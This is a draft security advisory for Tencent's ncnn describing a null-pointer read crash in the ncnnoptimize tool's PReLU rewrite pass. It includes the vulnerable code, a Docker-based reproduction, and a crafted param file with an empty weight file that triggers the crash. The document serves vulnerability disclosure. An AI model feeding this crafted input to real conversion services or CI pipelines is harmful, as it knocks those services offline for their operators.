All advisories
Draft

PReLU Optimization Invalid Read DoS

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

PReLU Optimization Invalid Read DoS

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/ncnnoptimize.cpp:2601 in NetOptimize::replace_prelu_with_leaky_relu
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x594b135c9bf3 bp 0x7fff3f15d1d0 sp 0x7fff3f15d110 T0)

Summary

ncnnoptimize can be crashed with a null-pointer read by anyone who controls the two input files it is invoked with. A PReLU layer declaring num_slope = 1 paired with an empty (or truncated) .bin makes PReLU::load_model fail and leave slope_data empty; ncnnoptimize ignores the failed load, and its replace_prelu_with_leaky_relu rewrite pass then dereferences slope_data[0]. Model-conversion services and CI jobs that run the optimizer over submitted models terminate on the spot.

Detail

The untrusted fields are parameter id 0 of a PReLU record (num_slope) and the length of the accompanying weight file. PReLU::load_model asks the model bin for num_slope floats and correctly reports failure when the reader is exhausted:

// src/layer/prelu.cpp:21
int PReLU::load_model(const ModelBin& mb)
{
    slope_data = mb.load(num_slope, 1);
    if (slope_data.empty())
        return -100;

    return 0;
}

The failure is reported but not acted on. Net::load_model logs layer load_model 0 prelu failed and returns -1 (src/net.cpp:2080-2090), yet main() discards that return value:

// tools/ncnnoptimize.cpp:2788
    optimizer.load_param(inparam);

    if (strcmp(inbin, "null") == 0)
    {
        DataReaderFromEmpty dr;
        optimizer.load_model(dr);
        optimizer.gen_random_weight = true;
    }
    else
        optimizer.load_model(inbin);

Execution therefore continues into the rewrite passes holding a PReLU object whose slope_data is a default-constructed Mat — data == NULL, w == 0. The pass filters on the parameter-derived slope count only, never on the tensor that was supposed to back it:

// tools/ncnnoptimize.cpp:2577
int NetOptimize::replace_prelu_with_leaky_relu()
{
    const size_t layer_count = layers.size();
    for (size_t i = 0; i < layer_count; i++)
    {
        if (layers[i]->type != "PReLU")
            continue;

        ncnn::PReLU* prelu = (ncnn::PReLU*)layers[i];
        if (prelu->num_slope != 1)
            continue;

        fprintf(stderr, "replace_prelu_with_leaky_relu %s\n", prelu->name.c_str());

        ncnn::ReLU* relu = (ncnn::ReLU*)ncnn::create_layer_cpu("ReLU");

        relu->type = "ReLU";
        relu->name = prelu->name;
        relu->bottoms = prelu->bottoms;
        relu->tops = prelu->tops;

        ncnn::ParamDict pd;
        relu->load_param(pd);

        relu->slope = prelu->slope_data[0];

The PoC sets 0=1, so prelu->num_slope != 1 is false and the continue on line 2587 is skipped. crafted.bin is zero bytes, so the model-bin read returns 0 and slope_data stays empty. Line 2601 then evaluates prelu->slope_data[0], which expands to ((float*)NULL)[0] — the null read AddressSanitizer reports.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-prelu-optimization-invalid-read-dos && cd ncnn-poc-prelu-optimization-invalid-read-dos

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > crafted.param <<'PARAM'
7767517
1 2
PReLU prelu 1 1 input output 0=1
PARAM

: > crafted.bin

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize crafted.param crafted.bin out.param out.bin 0

AddressSanitizer output:

find_blob_index_by_name input failed
ModelBin read weight_data failed 0
layer load_model 0 prelu failed
replace_prelu_with_leaky_relu prelu
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x618be4b7fbf3 bp 0x7fff149fff20 sp 0x7fff149ffe60 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x618be4b7fbf3 in NetOptimize::replace_prelu_with_leaky_relu() /ncnn/tools/ncnnoptimize.cpp:2601
    #1 0x618be4b88dd1 in main /ncnn/tools/ncnnoptimize.cpp:2820
    #2 0x7b4aa13441c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x7b4aa134428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x618be4b08624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/tools/ncnnoptimize.cpp:2601 in NetOptimize::replace_prelu_with_leaky_relu()
==1==ABORTING

Credit

Zheng Yu @ DepthFirst